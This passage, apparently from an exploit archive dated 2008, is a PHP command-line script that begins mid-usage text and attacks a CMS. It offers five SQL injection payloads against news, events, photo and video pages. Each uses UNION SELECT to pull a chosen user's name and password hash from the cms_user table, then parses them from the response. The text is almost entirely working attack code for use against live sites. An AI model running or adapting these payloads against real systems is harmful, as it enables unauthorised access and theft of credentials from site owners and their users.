php '.$argv[0].' http://www.site.com/frontend/ 1 1 # ############################################################### '); if ($argc == 4) { $url = $argv[1]; $methodnr = $argv[2]; $userid = $argv[3]; if ($methodnr==1) { $method = 'news.php?nr=null\'union+select+1,2,3,4,5,6,7,8,9,10,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),12/**/from+cms_user+where+id='.$userid.'/*'; } elseif ($methodnr==2) { $method = 'events2.php?d=null&m=null&y=null\'union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+where+id='.$userid.'/*'; } elseif ($methodnr==3) { $method = 'events3.php?id=null\'union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+where+id='.$userid.'/*'; } elseif ($methodnr==4) { $method = 'fotos2.php?ser=null\'union+select+1,2,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),4,5/**/from+cms_user+where+id='.$userid.'/*'; } elseif ($methodnr==5) { $method = 'method5: videos2.php?id=null\'union+select+1,2,3,4,5,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),7/**/from+cms_user+where+id='.$userid.'/*'; } $source = @file_get_contents($url.$method); echo "\n"; if (strpos($source,'::::')!=0) { echo 'User: '.substr($source,strpos($source,'::::')+4,strpos($source,'::1::')-strpos($source,'::::')-4)."\n"; echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n"; } else { echo 'Exploit failed!'."\n"; } } else { echo "\n".'Not enough arguments!'."\n"; } ?> # milw0rm.com [2008-05-11]